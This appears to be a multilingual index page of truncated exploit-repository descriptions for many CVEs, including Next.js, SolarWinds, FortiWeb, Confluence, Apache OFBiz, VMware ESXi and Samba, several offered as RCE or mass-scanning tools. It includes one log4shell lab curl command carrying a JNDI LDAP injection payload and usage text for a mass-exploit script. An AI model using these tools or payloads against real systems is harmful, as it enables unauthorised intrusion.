React2Shell

🔐 React2Shell - Toolkit per RCE da Inquinamento RSC di Next.js Questo toolkit Python sfrutta l'inquinamento dei prototipi dei React Server Components RSC di Next.js + la catena di gadget React.lazy-1 per accesso RCE completo, inclusi shell interattivo "god shell", upload di file dropper di webshe...

CVE-2020-10148

Como usar e isenção de responsabilidade Este script é um script de detecção em lote da vulnerabilidade de execução remota de código da API SolarWinds Orion CVE-2020-10148. Como usar: Python CVE-2020-10148.py urls.txt Cada url no urls.txt é uma linha, os endereços vulneráveis são salvos em vul.txt...

Exploiting-a-vulnerability-using-reverse-shell

Information Security Fundamentals — Progetto Primavera 2026 Punti Totali: 20 | Scadenza: Non sono accettate consegne in ritardo Panoramica Questo progetto simula uno scenario reale di attacco e difesa su due macchine virtuali. Sfrutterete una vulnerabilità critica di RCE pre-autenticazione...

CVE-2025-64446_CVE-2025-58034

FortiWeb Remote Code Execution RCE Exploit über die CVE-2025-64446 + CVE-2025-58034-Kette Beschreibung Dieses Skript verkettet zwei kritische Schwachstellen in Fortinet FortiWeb, um eine nicht authentifizierte Remote-Codeausführung mit Root-Rechten zu erreichen: 1. CVE-2025-64446 –...

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- Ho scritto un post sul blog sugli exploit RCE CVE-2022-24706 di Apache CouchDB...

CVE-2023-22518

CVE-2023-22518 Exploit Descrizione Questo repository contiene uno script di exploit per CVE-2023-22518. Lo script consente il caricamento di file non autorizzato, che potrebbe portare all'esecuzione di codice remoto o ad altre vulnerabilità di sicurezza. Disclaimer Questo repository è solo a scop...

CVE-2024-29399

Dettagli della vulnerabilità CVE-2024-29399 Panoramica In Savane v3.13 e versioni precedenti, la mancanza di validazione dei file caricati può consentire l'escalation dei privilegi. I server web configurati secondo le istruzioni di installazione sono vulnerabili a Cross-Site Scripting XSS. In...

CVE-2025-8110

CVE-2025-8110 Gogs Repository Symlink Remote Code Execution Erstellt von oguiii Inhaltsverzeichnis Übersicht Funktionen Anforderungen Installation Verwendung Exploit-Workflow Technische Analyse Proof-of-Concept-Demo Betroffene Versionen Abhilfe Erkennung Haftungsausschluss Lizenz Übersicht...

CVE-2024-46256

Analisi della vulnerabilità RCE CVE-2024-46256 in Nginx Proxy Manager Configurazione dell'ambiente 1. Avvio dell'ambiente Nginx Proxy Manager 2.11.3 root@kitploit: docker-compose up -d Oppure è possibile utilizzare lo script automatico: root@kitploit: python setupenvironment.py 2. Accesso a Nginx...

CVE-2024-32113-Exploit

CVE-2024-32113 Exploit Apache-OFBiz-Exploit: Path Traversal zu RCE. Beschreibung CVE-2024-32113 ist eine Path-Traversal-Schwachstelle, die in Apache OFBiz zu Remote Code Execution RCE führt. Schwachstelle : Schwachstelle durch unzureichende Begrenzung eines Pfadnamens auf ein eingeschränktes...

CVE-2021-21974

CVE-2021-21974 Prova de Conceito PoC de execução remota de código por estouro de heap no OpenSLP do VMware ESXi Autor: Aiyakami Visão Geral CVE-2021-21974 é uma vulnerabilidade de estouro de heap no serviço OpenSLP do VMware ESXi, que permite a um atacante não autenticado enviar pacotes...

exploit-CVE-2017-7494

Exploit SambaCry RCE per Samba 4.5.9 Samba è un software libero che reimplementa il protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller DC che come membro del...

POC_CVE-2026-42589

POCCVE-2026-42589 Laboratório de reprodução local e rascunho de template do nuclei para CVE-2026-42589 que afeta o Gotenberg. Resumo A CVE-2026-42589 é um problema de execução remota de código não autenticada no Gotenberg causado por injeção de nova linha na chave de metadados em: root@kitploit:...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...

unomi_exploit

Haftungsausschluss Die hier bereitgestellten Methoden zur Schwachstellenerkennung, Dateien und andere Inhalte sind ausschließlich für Sicherheitsexperten bestimmt, die über eine rechtliche Genehmigung verfügen, und dienen dazu, die Sicherheit von autorisierten Servern zu testen. Sicherheitsexpert...

CVE-2023-22527

Non sono responsabile per alcun attacco illegale CVE-2023-22527 Script di scansione di massa aiuto root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit escrito em win32/c++ dependência openssl. Porte de https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instruções Este PoC requer bibliotecas openssl ligadas estaticamente. Coloque os includes do openssl em...

CVE-2024-47176

CVE-2024-47176 Scanner di vulnerabilità per CUPS: CVE-2024-47176 Lo scanner di massa per la vulnerabilità CUPS CVE-2024-47176 è uno strumento specializzato progettato per rilevare la presenza della vulnerabilità CVE-2024-47176 su più sistemi che eseguono il Common Unix Printing System CUPS. Quest...

CVE-2020-35729

Informazioni root@kitploit: Exploit Title: Klog Server 2.4.1 - Command Injection Unauthenticated Date: 22.12.2020 Exploit Author: b3kc4t Mustafa GUNDOGDU Vendor Homepage: https://www.klogserver.com/ Version: 2.4.1 Tested On: Ubuntu 18.04 CVE: 2020-35729 Description:...